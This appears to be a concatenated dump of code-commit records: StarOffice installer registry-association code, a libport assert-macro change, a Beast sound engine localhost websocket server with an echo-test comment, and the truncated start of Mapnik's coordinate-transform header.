Algorithm:\n\/\/\n\/\/ 1.\n\/\/ Target key exist (e.g. '.doc')\n\/\/ Default value == soffice.?\n\/\/ Backup key != empty\n\/\/ Action: Replace Default value with backup\n\/\/ key\n\/\/\n\/\/ 2.\n\/\/ Target key exist\n\/\/ Default value == soffice.?\n\/\/ Backup key == empty\n\/\/ Action: delete default value\n\/\/\n\/\/ 3.\n\/\/ Target key exist\n\/\/ Default value != soffice.?\n\/\/ Action: nop\n\/\/\n\/\/ 4.\n\/\/ Target key does not exist\n\/\/ Action: nop\n\/\/-----------------------------------------\n\nvoid Unregister4MsDocAll(MSIHANDLE handle)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n CurrentRegistrar->UnregisterAllAndCleanUpRegistry();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n}\n\n\/\/-----------------------------------------\n\/\/ restores lost settings formerly made\n\/\/ with Register4MsDoc\n\/\/-----------------------------------------\n\nvoid RepairRegister4MsDocSettings(MSIHANDLE handle)\n{\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n CurrentRegistrar->RepairRegistrationState();\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n}\n\nbool IsRegisteredFor(MSIHANDLE handle, int State)\n{\n bool Registered = false;\n\n try\n {\n RegistrationContextInformation RegContext(handle, GetOfficeExecutablePath(handle));\n RegistrarPtr CurrentRegistrar = CreateRegistrar(IsAllUserInstallation(handle), RegContext);\n\n Registered = CurrentRegistrar->IsRegisteredFor(State);\n }\n catch(RegistryException&)\n {\n assert(false);\n }\n return Registered;\n}\n\n#define SO60_UNINSTALL_KEY L\"Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Uninstall\\\\StarOffice 6.0\"\n#define SO_BACKUP_KEY L\"soffice6.bak\"\n#define REGMSDOCSTATE L\"Reg4MsDocState\"\n#define SOFTWARE_CLASSES L\"Software\\\\Classes\"\n\nint FixReturnRegistrationState(MSIHANDLE handle)\n{\n int registration_state = 0;\n\n try\n {\n WindowsRegistry registry;\n\n RegistryValue rv_regmsdocstate = RegistryValue(\n new RegistryValueImpl(REGMSDOCSTATE, 0));\n\n RegistryKey so_bak_key;\n\n if (IsAllUserInstallation(handle))\n {\n RegistryKey hkcr_key = registry.GetClassesRootKey();\n\n if (hkcr_key->HasSubKey(SO_BACKUP_KEY))\n so_bak_key = hkcr_key->OpenSubKey(SO_BACKUP_KEY);\n else\n so_bak_key = hkcr_key->CreateSubKey(SO_BACKUP_KEY);\n\n if (!so_bak_key->HasValue(REGMSDOCSTATE))\n {\n \/\/ set a defined value\n so_bak_key->SetValue(rv_regmsdocstate);\n\n RegistryKey hklm_key = registry.GetLocalMachineKey();\n\n if (hklm_key->HasSubKey(SO60_UNINSTALL_KEY))\n {\n RegistryKey so_uninst_key =\n hklm_key->OpenSubKey(SO60_UNINSTALL_KEY);\n\n if (so_uninst_key->HasValue(REGMSDOCSTATE))\n so_bak_key->CopyValue(so_uninst_key, REGMSDOCSTATE);\n }\n }\n }\n else\n {\n RegistryKey hkcu_classes_key =\n registry.GetCurrentUserKey()->OpenSubKey(SOFTWARE_CLASSES);\n\n so_bak_key = hkcu_classes_key->CreateSubKey(SO_BACKUP_KEY);\n\n if (!so_bak_key->HasValue(REGMSDOCSTATE))\n {\n \/\/ set a defined value\n so_bak_key->SetValue(rv_regmsdocstate);\n\n RegistryKey hklm_sftw_classes =\n registry.GetLocalMachineKey()->OpenSubKey(SOFTWARE_CLASSES, false);\n\n RegistryKey so_bak_key_old;\n\n if (hklm_sftw_classes->HasSubKey(SO_BACKUP_KEY))\n {\n so_bak_key_old = hklm_sftw_classes->OpenSubKey(SO_BACKUP_KEY, false);\n\n if (so_bak_key_old->HasValue(REGMSDOCSTATE))\n so_bak_key->CopyValue(so_bak_key_old, REGMSDOCSTATE);\n }\n else \/\/ try the uninstall key\n {\n RegistryKey hklm_key = registry.GetLocalMachineKey();\n\n if (hklm_key->HasSubKey(SO60_UNINSTALL_KEY))\n {\n RegistryKey so_uninst_key =\n hklm_key->OpenSubKey(SO60_UNINSTALL_KEY);\n\n if (so_uninst_key->HasValue(REGMSDOCSTATE))\n so_bak_key->CopyValue(so_uninst_key, REGMSDOCSTATE);\n }\n }\n }\n }\n\n rv_regmsdocstate = so_bak_key->GetValue(REGMSDOCSTATE);\n registration_state = rv_regmsdocstate->GetDataAsInt();\n }\n catch(RegistryException&)\n {\n registration_state = 0;\n }\n\n return registration_state;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/ \\file libport\/assert.hh\n\/\/\/ \\brief Provide nice assert like macros.\n\n#ifndef LIBPORT_ASSERT_HH\n# define LIBPORT_ASSERT_HH\n\n# include <cassert>\n# include <cstdlib>\n\n\/\/ We have mysterious random aborts on OSX which is compiled with\n\/\/ NDEBUG. Temporarily disable NDEBUG to have verbose paborts.\n# if defined NDEBUG\n# define LIBPORT_ASSERT_VERBOSE 0\n# else\n# define LIBPORT_ASSERT_VERBOSE 1\n# endif\n\n# if LIBPORT_ASSERT_VERBOSE\n# include <iostream> \/\/ std::cerr\n# include <libport\/cstdio> \/\/ libport::strerror.\n# endif\n\n# include <libport\/compiler.hh>\n\nnamespace libport\n{\n \/\/\/ A wrapper to std::abort to ensure that it is declared as\n \/\/\/ noreturn (which is not the case of std::abort with MSVC).\n ATTRIBUTE_NORETURN\n inline\n void abort()\n {\n std::abort();\n }\n}\n\n\/*---------------------------.\n| passert -- Pretty assert. |\n`---------------------------*\/\n\n\/\/\/ \\def passert(Subject, Assertion)\n\/\/\/ Same as assert, but on failure, dump \\a Subject of std::cerr.\n# if ! LIBPORT_ASSERT_VERBOSE\n# define passert(Subject, Assertion)\n# else\n\n# define passert(Subject, Assertion)\t\t\t\\\n ((void) ((Assertion)\t\t\t\t\t\\\n\t ? 0\t\t\t\t\t\t\\\n\t : __passert (__FILE__ \":\" << __LINE__,\t\\\n\t\t\tSubject, Assertion)))\n\n# define __passert(Loc, Subject, Assertion)\t\t\t\t\\\n (std::cerr\t\t\t\t\t\t\t\t\\\n << Loc << \": failed assertion: \" << #Assertion << std::endl\t\\\n << Loc << \": with \"\t\t\t\t\t\t\\\n << #Subject << \" = \" << Subject << std::endl,\t\t\t\\\n libport::abort(), \\\n 0)\n\n# endif \/\/ LIBPORT_ASSERT_VERBOSE\n\n\n\n\/*-------------------------.\n| pabort -- Pretty abort. |\n`-------------------------*\/\n\n\/\/\/ \\def pabort(Msg)\n\/\/\/\n\/\/\/ Same as abort, but when NDEBUG is not set, report the Msg using\n\/\/\/ the operator<< on std::cerr. Msg may include << itself. So\n\/\/\/ if Msg is complex, beware of predence issues with << and use parens\n\/\/\/ on the invocation side.\n\n# if ! LIBPORT_ASSERT_VERBOSE\n# define pabort(Msg) libport::abort()\n# else\n\n# define pabort(Msg)\t\t\t\t\t\\\n ((void) (__pabort (__FILE__ \":\" << __LINE__, Msg)))\n\n# define __pabort(Loc, Msg)\t\t\t\t\t\t\\\n (std::cerr << Loc << \": abort: \" << Msg << std::endl,\t\t\t\\\n libport::abort())\n\n# endif \/\/ LIBPORT_ASSERT_VERBOSE\n\n\n\/*----------------------------------------------.\n| errabort -- perror (well, strerror) + abort. |\n`----------------------------------------------*\/\n\n\/\/\/ \\def errabort(Msg)\n# define errabort(Msg) \\\n pabort(libport::strerror(errno) << \": \" << Msg)\n\n\n\n\/*--------------------------------------------------------.\n| assert_exp -- Require a non-null value, and return it. |\n`--------------------------------------------------------*\/\n\n# if ! LIBPORT_ASSERT_VERBOSE\n# define assert_exp(Obj)\t\t(Obj)\n# else\n\/\/ Basically, an assert that can be used in an expression. I meant to\n\/\/ use \"nonnull\", but this name is unused by libstdc++, so the #define\n\/\/ breaks everything.\nnamespace libport\n{\n template <typename T>\n inline\n T\n assert_exp_(T t, const char* file, int line, const char* msg)\n {\n if (!t)\n {\n std::cerr\n\t<< file << \": \" << line << \": failed assertion: \" << msg << std::endl;\n libport::abort();\n }\n return t;\n }\n}\n\n# define assert_exp(Obj)\t\t\\\n libport::assert_exp_(Obj, __FILE__, __LINE__ , #Obj)\n# endif \/\/ LIBPORT_ASSERT_VERBOSE\n\n\n#endif \/\/ !LIBPORT_ASSERT_HH\n<commit_msg>Make pabort print its message even in NDEBUG mode.<commit_after>\/\/\/ \\file libport\/assert.hh\n\/\/\/ \\brief Provide nice assert like macros.\n\n#ifndef LIBPORT_ASSERT_HH\n# define LIBPORT_ASSERT_HH\n\n# include <cassert>\n# include <cstdlib>\n\n\/\/ We have mysterious random aborts on OSX which is compiled with\n\/\/ NDEBUG. Temporarily disable NDEBUG to have verbose paborts.\n# if defined NDEBUG\n# define LIBPORT_ASSERT_VERBOSE 0\n# else\n# define LIBPORT_ASSERT_VERBOSE 1\n# endif\n\n# include <iostream> \/\/ std::cerr\n# include <libport\/cstdio> \/\/ libport::strerror.\n\n# include <libport\/compiler.hh>\n\nnamespace libport\n{\n \/\/\/ A wrapper to std::abort to ensure that it is declared as\n \/\/\/ noreturn (which is not the case of std::abort with MSVC).\n ATTRIBUTE_NORETURN\n inline\n void abort()\n {\n std::abort();\n }\n}\n\n\/*---------------------------.\n| passert -- Pretty assert. |\n`---------------------------*\/\n\n\/\/\/ \\def passert(Subject, Assertion)\n\/\/\/ Same as assert, but on failure, dump \\a Subject of std::cerr.\n# if ! LIBPORT_ASSERT_VERBOSE\n# define passert(Subject, Assertion)\n# else\n\n# define passert(Subject, Assertion)\t\t\t\\\n ((void) ((Assertion)\t\t\t\t\t\\\n\t ? 0\t\t\t\t\t\t\\\n\t : __passert (__FILE__ \":\" << __LINE__,\t\\\n\t\t\tSubject, Assertion)))\n\n# define __passert(Loc, Subject, Assertion)\t\t\t\t\\\n (std::cerr\t\t\t\t\t\t\t\t\\\n << Loc << \": failed assertion: \" << #Assertion << std::endl\t\\\n << Loc << \": with \"\t\t\t\t\t\t\\\n << #Subject << \" = \" << Subject << std::endl,\t\t\t\\\n libport::abort(), \\\n 0)\n\n# endif \/\/ LIBPORT_ASSERT_VERBOSE\n\n\n\n\/*-------------------------.\n| pabort -- Pretty abort. |\n`-------------------------*\/\n\n\/\/\/ \\def pabort(Msg)\n\/\/\/\n\/\/\/ Same as abort, but when NDEBUG is not set, report the Msg using\n\/\/\/ the operator<< on std::cerr. Msg may include << itself. So\n\/\/\/ if Msg is complex, beware of predence issues with << and use parens\n\/\/\/ on the invocation side.\n\n# define pabort(Msg)\t\t\t\t\t\\\n ((void) (__pabort (__FILE__ \":\" << __LINE__, Msg)))\n\n# define __pabort(Loc, Msg)\t\t\t\t\t\t\\\n (std::cerr << Loc << \": abort: \" << Msg << std::endl,\t\t\t\\\n libport::abort())\n\n\n\/*----------------------------------------------.\n| errabort -- perror (well, strerror) + abort. |\n`----------------------------------------------*\/\n\n\/\/\/ \\def errabort(Msg)\n# define errabort(Msg) \\\n pabort(libport::strerror(errno) << \": \" << Msg)\n\n\n\n\/*--------------------------------------------------------.\n| assert_exp -- Require a non-null value, and return it. |\n`--------------------------------------------------------*\/\n\n# if ! LIBPORT_ASSERT_VERBOSE\n# define assert_exp(Obj)\t\t(Obj)\n# else\n\/\/ Basically, an assert that can be used in an expression. I meant to\n\/\/ use \"nonnull\", but this name is unused by libstdc++, so the #define\n\/\/ breaks everything.\nnamespace libport\n{\n template <typename T>\n inline\n T\n assert_exp_(T t, const char* file, int line, const char* msg)\n {\n if (!t)\n {\n std::cerr\n\t<< file << \": \" << line << \": failed assertion: \" << msg << std::endl;\n libport::abort();\n }\n return t;\n }\n}\n\n# define assert_exp(Obj)\t\t\\\n libport::assert_exp_(Obj, __FILE__, __LINE__ , #Obj)\n# endif \/\/ LIBPORT_ASSERT_VERBOSE\n\n\n#endif \/\/ !LIBPORT_ASSERT_HH\n<|endoftext|>"} {"text":"<commit_before>\/\/ This Source Code Form is licensed MPL-2.0: http:\/\/mozilla.org\/MPL\/2.0\n\n#include <websocketpp\/config\/asio_no_tls.hpp>\n#include <websocketpp\/server.hpp>\ntypedef websocketpp::server<websocketpp::config::asio> server;\n\n#include <jsonipc\/jsonipc.hh>\n\n#include <bse\/bse.hh>\n#include <bse\/platform.hh>\n#include <bse\/regex.hh>\n\n#undef B0 \/\/ pollution from termios.h\n\nstatic Bse::ServerH bse_server;\nstatic const bool verbose = false;\n\n\/\/ Configure websocket server\nstruct CustomServerConfig : public websocketpp::config::asio {\n static const size_t connection_read_buffer_size = 16384;\n};\nusing ServerEndpoint = websocketpp::server<CustomServerConfig>;\nstatic ServerEndpoint websocket_server;\n\nstatic std::string\nhandle_jsonipc (const std::string &message, const websocketpp::connection_hdl &hdl)\n{\n static Jsonipc::IpcDispatcher jd;\n const ptrdiff_t conid = ptrdiff_t (websocket_server.get_con_from_hdl (hdl).get());\n if (verbose)\n Bse::printerr (\"%p: REQUEST: %s\\n\", conid, message);\n const std::string reply = jd.dispatch_message (message);\n if (verbose)\n Bse::printerr (\"%p: REPLY: %s\\n\", conid, reply);\n return reply;\n}\n\nstatic std::string\nuser_agent_nick (const std::string &useragent)\n{\n using namespace Bse;\n std::string nick;\n if (Re::search (R\"(\\bFirefox\/)\", useragent))\n nick += \"Firefox\";\n else if (Re::search (R\"(\\bElectron\/)\", useragent))\n nick += \"Electron\";\n else if (Re::search (R\"(\\bChrome\/)\", useragent))\n nick += \"Chrome\";\n else if (Re::search (R\"(\\bSafari\/)\", useragent))\n nick += \"Safari\";\n else\n nick += \"Unknown\";\n return nick;\n}\n\nstatic bool\nws_validate_connection (websocketpp::connection_hdl hdl)\n{\n ServerEndpoint::connection_ptr con = websocket_server.get_con_from_hdl (hdl);\n \/\/ using subprotocol as auth string\n const std::vector<std::string> &subprotocols = con->get_requested_subprotocols();\n if (subprotocols.size() == 1)\n {\n if (subprotocols[0] == \"auth123\")\n {\n con->select_subprotocol (subprotocols[0]);\n return true;\n }\n }\n return false;\n}\n\nstatic void\nws_open_connection (websocketpp::connection_hdl hdl)\n{\n ServerEndpoint::connection_ptr con = websocket_server.get_con_from_hdl (hdl);\n \/\/ https:\/\/github.com\/zaphoyd\/websocketpp\/issues\/694#issuecomment-454623641\n const auto &socket = con->get_raw_socket();\n const auto &address = socket.remote_endpoint().address();\n const int rport = socket.remote_endpoint().port();\n const websocketpp::http::parser::request &rq = con->get_request();\n const websocketpp::http::parser::header_list &headermap = rq.get_headers();\n std::string useragent;\n for (auto it : headermap) \/\/ request headers\n if (it.first == \"User-Agent\")\n useragent = it.second;\n std::string nick = user_agent_nick (useragent);\n if (!nick.empty())\n nick = \"(\" + nick + \")\";\n using namespace Bse::AnsiColors;\n auto B1 = color (BOLD);\n auto B0 = color (BOLD_OFF);\n Bse::printout (\"%p: %sACCEPT:%s %s:%d\/ %s\\n\", ptrdiff_t (con.get()), B1, B0, address.to_string().c_str(), rport, nick);\n \/\/ Bse::printout (\"User-Agent: %s\\n\", useragent);\n}\n\nstatic void\nws_message (websocketpp::connection_hdl con, server::message_ptr msg)\n{\n const std::string &message = msg->get_payload();\n \/\/ send message to BSE thread and block until its been handled\n Aida::ScopedSemaphore sem;\n auto handle_wsmsg = [&message, &con, &sem] () {\n std::string reply = handle_jsonipc (message, con);\n if (!reply.empty())\n websocket_server.send (con, reply, websocketpp::frame::opcode::text);\n sem.post();\n };\n bse_server.__iface_ptr__()->__execution_context_mt__().enqueue_mt (handle_wsmsg);\n sem.wait();\n}\n\nstatic void\nprint_usage (bool help)\n{\n if (!help)\n {\n Bse::printout (\"beast-sound-engine version %s\\n\", Bse::version());\n return;\n }\n Bse::printout (\"Usage: beast-sound-engine [OPTIONS]\\n\");\n Bse::printout (\" --help Print command line help\\n\");\n Bse::printout (\" --version Print program version\\n\");\n}\n\nint\nmain (int argc, char *argv[])\n{\n Bse::init_async (&argc, argv, argv[0]); \/\/ Bse::cstrings_to_vector (NULL)\n bse_server = Bse::init_server_instance();\n\n \/\/ parse arguments\n bool seen_dashdash = false;\n std::vector<std::string> words;\n for (size_t i = 0; i < argc; i++)\n if (!argv[i])\n continue;\n else if (argv[i][0] == '-' && argv[i][1] == '-' && argv[i][2] == 0)\n seen_dashdash = true;\n else if (!seen_dashdash && argv[i][0] == '-')\n {\n const char *arg = argv[i] + 1 + (argv[i][1] == '-');\n const char *eq = strchr (arg, '=');\n const std::string arg_name = !eq ? arg : std::string (arg, eq - arg);\n if (arg_name == \"version\")\n {\n print_usage (false);\n return 0;\n }\n else if (arg_name == \"h\" || arg_name == \"help\")\n {\n print_usage (true);\n return 0;\n }\n else\n {\n Bse::printerr (\"%s: invalid argument: %s\\n\", argv[0], argv[i]);\n print_usage (true);\n return 1;\n }\n }\n else\n words.push_back (argv[i]);\n\n const int BEAST_AUDIO_ENGINE_PORT = 27239; \/\/ 0x3ea67 % 32768\n\n \/\/ setup websocket and run asio loop\n websocket_server.set_validate_handler (&ws_validate_connection);\n websocket_server.set_open_handler (&ws_open_connection);\n websocket_server.set_message_handler (&ws_message);\n websocket_server.init_asio();\n websocket_server.clear_access_channels (websocketpp::log::alevel::all);\n websocket_server.set_reuse_addr (true);\n namespace IP = boost::asio::ip;\n IP::tcp::endpoint endpoint_local = IP::tcp::endpoint (IP::address::from_string (\"127.0.0.1\"), BEAST_AUDIO_ENGINE_PORT);\n websocket_server.listen (endpoint_local);\n websocket_server.start_accept();\n\n using namespace Bse::AnsiColors;\n auto B1 = color (BOLD);\n auto B0 = color (BOLD_OFF);\n Bse::printout (\"%sLISTEN:%s ws:\/\/localhost:%d\/\\n\", B1, B0, BEAST_AUDIO_ENGINE_PORT);\n\n websocket_server.run();\n\n return 0;\n}\n<commit_msg>BSE: beast-sound-engine: add JS example comment for echo tests<commit_after>\/\/ This Source Code Form is licensed MPL-2.0: http:\/\/mozilla.org\/MPL\/2.0\n\n#include <websocketpp\/config\/asio_no_tls.hpp>\n#include <websocketpp\/server.hpp>\ntypedef websocketpp::server<websocketpp::config::asio> server;\n\n#include <jsonipc\/jsonipc.hh>\n\n#include <bse\/bse.hh>\n#include <bse\/platform.hh>\n#include <bse\/regex.hh>\n\n#undef B0 \/\/ pollution from termios.h\n\nstatic Bse::ServerH bse_server;\nstatic const bool verbose = false;\n\n\/\/ Configure websocket server\nstruct CustomServerConfig : public websocketpp::config::asio {\n static const size_t connection_read_buffer_size = 16384;\n};\nusing ServerEndpoint = websocketpp::server<CustomServerConfig>;\nstatic ServerEndpoint websocket_server;\n\nstatic std::string\nhandle_jsonipc (const std::string &message, const websocketpp::connection_hdl &hdl)\n{\n static Jsonipc::IpcDispatcher jd;\n const ptrdiff_t conid = ptrdiff_t (websocket_server.get_con_from_hdl (hdl).get());\n if (verbose)\n Bse::printerr (\"%p: REQUEST: %s\\n\", conid, message);\n const std::string reply = jd.dispatch_message (message);\n if (verbose)\n Bse::printerr (\"%p: REPLY: %s\\n\", conid, reply);\n return reply;\n}\n\nstatic std::string\nuser_agent_nick (const std::string &useragent)\n{\n using namespace Bse;\n std::string nick;\n if (Re::search (R\"(\\bFirefox\/)\", useragent))\n nick += \"Firefox\";\n else if (Re::search (R\"(\\bElectron\/)\", useragent))\n nick += \"Electron\";\n else if (Re::search (R\"(\\bChrome\/)\", useragent))\n nick += \"Chrome\";\n else if (Re::search (R\"(\\bSafari\/)\", useragent))\n nick += \"Safari\";\n else\n nick += \"Unknown\";\n return nick;\n}\n\nstatic bool\nws_validate_connection (websocketpp::connection_hdl hdl)\n{\n ServerEndpoint::connection_ptr con = websocket_server.get_con_from_hdl (hdl);\n \/\/ using subprotocol as auth string\n const std::vector<std::string> &subprotocols = con->get_requested_subprotocols();\n if (subprotocols.size() == 1)\n {\n if (subprotocols[0] == \"auth123\")\n {\n con->select_subprotocol (subprotocols[0]);\n return true;\n }\n }\n return false;\n}\n\nstatic void\nws_open_connection (websocketpp::connection_hdl hdl)\n{\n ServerEndpoint::connection_ptr con = websocket_server.get_con_from_hdl (hdl);\n \/\/ https:\/\/github.com\/zaphoyd\/websocketpp\/issues\/694#issuecomment-454623641\n const auto &socket = con->get_raw_socket();\n const auto &address = socket.remote_endpoint().address();\n const int rport = socket.remote_endpoint().port();\n const websocketpp::http::parser::request &rq = con->get_request();\n const websocketpp::http::parser::header_list &headermap = rq.get_headers();\n std::string useragent;\n for (auto it : headermap) \/\/ request headers\n if (it.first == \"User-Agent\")\n useragent = it.second;\n std::string nick = user_agent_nick (useragent);\n if (!nick.empty())\n nick = \"(\" + nick + \")\";\n using namespace Bse::AnsiColors;\n auto B1 = color (BOLD);\n auto B0 = color (BOLD_OFF);\n Bse::printout (\"%p: %sACCEPT:%s %s:%d\/ %s\\n\", ptrdiff_t (con.get()), B1, B0, address.to_string().c_str(), rport, nick);\n \/\/ Bse::printout (\"User-Agent: %s\\n\", useragent);\n}\n\nstatic void\nws_message (websocketpp::connection_hdl con, server::message_ptr msg)\n{\n const std::string &message = msg->get_payload();\n \/\/ send message to BSE thread and block until its been handled\n Aida::ScopedSemaphore sem;\n auto handle_wsmsg = [&message, &con, &sem] () {\n std::string reply = handle_jsonipc (message, con);\n if (!reply.empty())\n websocket_server.send (con, reply, websocketpp::frame::opcode::text);\n sem.post();\n };\n bse_server.__iface_ptr__()->__execution_context_mt__().enqueue_mt (handle_wsmsg);\n sem.wait();\n}\n\nstatic void\nprint_usage (bool help)\n{\n if (!help)\n {\n Bse::printout (\"beast-sound-engine version %s\\n\", Bse::version());\n return;\n }\n Bse::printout (\"Usage: beast-sound-engine [OPTIONS]\\n\");\n Bse::printout (\" --help Print command line help\\n\");\n Bse::printout (\" --version Print program version\\n\");\n}\n\nint\nmain (int argc, char *argv[])\n{\n Bse::init_async (&argc, argv, argv[0]); \/\/ Bse::cstrings_to_vector (NULL)\n bse_server = Bse::init_server_instance();\n\n \/\/ parse arguments\n bool seen_dashdash = false;\n std::vector<std::string> words;\n for (size_t i = 0; i < argc; i++)\n if (!argv[i])\n continue;\n else if (argv[i][0] == '-' && argv[i][1] == '-' && argv[i][2] == 0)\n seen_dashdash = true;\n else if (!seen_dashdash && argv[i][0] == '-')\n {\n const char *arg = argv[i] + 1 + (argv[i][1] == '-');\n const char *eq = strchr (arg, '=');\n const std::string arg_name = !eq ? arg : std::string (arg, eq - arg);\n if (arg_name == \"version\")\n {\n print_usage (false);\n return 0;\n }\n else if (arg_name == \"h\" || arg_name == \"help\")\n {\n print_usage (true);\n return 0;\n }\n else\n {\n Bse::printerr (\"%s: invalid argument: %s\\n\", argv[0], argv[i]);\n print_usage (true);\n return 1;\n }\n }\n else\n words.push_back (argv[i]);\n\n const int BEAST_AUDIO_ENGINE_PORT = 27239; \/\/ 0x3ea67 % 32768\n\n \/\/ setup websocket and run asio loop\n websocket_server.set_validate_handler (&ws_validate_connection);\n websocket_server.set_open_handler (&ws_open_connection);\n websocket_server.set_message_handler (&ws_message);\n websocket_server.init_asio();\n websocket_server.clear_access_channels (websocketpp::log::alevel::all);\n websocket_server.set_reuse_addr (true);\n namespace IP = boost::asio::ip;\n IP::tcp::endpoint endpoint_local = IP::tcp::endpoint (IP::address::from_string (\"127.0.0.1\"), BEAST_AUDIO_ENGINE_PORT);\n websocket_server.listen (endpoint_local);\n websocket_server.start_accept();\n\n using namespace Bse::AnsiColors;\n auto B1 = color (BOLD);\n auto B0 = color (BOLD_OFF);\n Bse::printout (\"%sLISTEN:%s ws:\/\/localhost:%d\/\\n\", B1, B0, BEAST_AUDIO_ENGINE_PORT);\n\n websocket_server.run();\n\n return 0;\n}\n\n\/* Dumb echo test:\n var WebSocket = require ('ws'), c = 0; ws = new WebSocket(\"ws:\/\/localhost:27239\/\", 'auth123'); ws.onopen=e=>ws.send(\"Hello!\");\n ws.onmessage=e=>{if(++c % 1000 == 0) console.log(e.data, c); ws.send(\"YO\"); }; setTimeout(e=>{ws.close();console.log(c\/10);},10000);\n *\/\n<|endoftext|>"} {"text":"<commit_before>\/*****************************************************************************\n * \n * This file is part of Mapnik (c++ mapping toolkit)\n *\n * Copyright (C) 2006 Artem Pavlenko\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\n *****************************************************************************\/\n\n\/\/$Id: ctrans.hpp 39 2005-04-10 20:39:53Z pavlenko $\n\n#ifndef CTRANS_HPP\n#define CTRANS_HPP\n\n#include <algorithm>\n\n#include <mapnik\/box2d.hpp>\n#include <mapnik\/vertex.hpp>\n#include <mapnik\/coord_array.hpp>\n#include <mapnik\/proj_transform.hpp>\n\nnamespace mapnik {\ntypedef coord_array<coord2d> CoordinateArray;\n \ntemplate <typename Transform,typename Geometry>\nstruct MAPNIK_DECL coord_transform\n{\n coord_transform(Transform const& t, Geometry& geom)\n : t_(t), geom_(geom) {}\n \n unsigned vertex(double *x , double *y) const\n {\n unsigned command = geom_.vertex(x,y);\n t_.forward(x,y);\n return command;\n }\n \n void rewind (unsigned pos)\n {\n geom_.rewind(pos);\n }\n \nprivate:\n Transform const& t_;\n Geometry& geom_;\n};\n\ntemplate <typename Transform,typename Geometry>\nstruct MAPNIK_DECL coord_transform2\n{\n typedef std::size_t size_type;\n typedef typename Geometry::value_type value_type;\n\n coord_transform2(Transform const& t, \n Geometry const& geom, \n proj_transform const& prj_trans)\n : t_(t), \n geom_(geom), \n prj_trans_(prj_trans) {}\n \n unsigned vertex(double * x , double * y) const\n {\n unsigned command(SEG_MOVETO);\n bool ok = false;\n bool skipped_points = false;\n while (!ok)\n {\n command = geom_.vertex(x,y);\n double z=0;\n ok = prj_trans_.backward(*x,*y,z);\n if (!ok) {\n skipped_points = true;\n }\n ok = ok || (command == SEG_END);\n }\n if (skipped_points && (command == SEG_LINETO))\n {\n command = SEG_MOVETO;\n }\n t_.forward(x,y);\n return command;\n }\n\n \/*unsigned vertex(double * x , double * y) const\n {\n unsigned command = geom_.vertex(x,y);\n double z=0;\n prj_trans_.backward(*x,*y,z);\n t_.forward(x,y);\n return command;\n }*\/\n \n void rewind (unsigned pos)\n {\n geom_.rewind(pos);\n }\n\n Geometry const& geom() const\n {\n return geom_;\n }\n \nprivate:\n Transform const& t_;\n Geometry const& geom_;\n proj_transform const& prj_trans_;\n};\n\n \ntemplate <typename Transform,typename Geometry>\nstruct MAPNIK_DECL coord_transform3\n{\n coord_transform3(Transform const& t, \n Geometry const& geom, \n proj_transform const& prj_trans,\n int dx, int dy)\n : t_(t), \n geom_(geom), \n prj_trans_(prj_trans),\n dx_(dx), dy_(dy) {}\n \n unsigned vertex(double * x , double * y) const\n {\n unsigned command = geom_.vertex(x,y);\n double z=0;\n prj_trans_.backward(*x,*y,z);\n t_.forward(x,y);\n *x+=dx_;\n *y+=dy_;\n return command;\n }\n \n void rewind (unsigned pos)\n {\n geom_.rewind(pos);\n }\n \nprivate:\n Transform const& t_;\n Geometry const& geom_;\n proj_transform const& prj_trans_;\n int dx_;\n int dy_;\n};\n \nclass CoordTransform\n{\nprivate:\n int width_;\n int height_;\n double sx_;\n double sy_;\n box2d<double> extent_;\n double offset_x_;\n double offset_y_;\npublic:\n CoordTransform(int width,int height,const box2d<double>& extent,\n double offset_x = 0, double offset_y = 0)\n :width_(width),height_(height),extent_(extent),offset_x_(offset_x),offset_y_(offset_y)\n {\n sx_ = (double(width_))\/extent_.width();\n sy_ = (double(height_))\/extent_.height();\n }\n \n inline int width() const\n {\n return width_;\n }\n \n inline int height() const\n {\n return height_;\n }\n \n inline double scale_x() const\n {\n return sx_;\n }\n \n inline double scale_y() const\n {\n return sy_;\n }\n \n inline void forward(double * x, double * y) const\n {\n *x = (*x - extent_.minx()) * sx_ - offset_x_;\n *y = (extent_.maxy() - *y) * sy_ - offset_y_;\n }\n \n inline void backward(double * x, double * y) const\n {\n *x = extent_.minx() + (*x + offset_x_)\/sx_;\n *y = extent_.maxy() - (*y + offset_y_)\/sy_;\n }\n \n inline coord2d& forward(coord2d& c) const\n {\n forward(&c.x,&c.y);\n return c;\n }\n \n inline coord2d& backward(coord2d& c) const\n {\n backward(&c.x,&c.y);\n return c;\n }\n\n inline box2d<double> forward(const box2d<double>& e,proj_transform const& prj_trans) const\n {\n double x0 = e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n double z = 0.0;\n prj_trans.backward(x0,y0,z);\n forward(&x0,&y0);\n prj_trans.backward(x1,y1,z);\n forward(&x1,&y1);\n return box2d<double>(x0,y0,x1,y1);\n }\n\n inline box2d<double> forward(const box2d<double>& e) const\n {\n double x0 = e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n forward(&x0,&y0);\n forward(&x1,&y1);\n return box2d<double>(x0,y0,x1,y1);\n }\n\n inline box2d<double> backward(const box2d<double>& e,proj_transform const& prj_trans) const\n {\n double x0 = e.minx();\n double y0 = e.miny();\n double x1 = e.maxx();\n double y1 = e.maxy();\n double z = 0.0;\n backward(&x0,&y0);\n prj_trans.forward(x0,y0,z);\n backward(&x1,&y1);\n prj_trans.forward(x1,y1,z);\n return box2d<double>(x0,y0,x1,y1);\n }\n\n inline box2d<double> backward(const box2d<double>& e) const\n {\n double x0 = 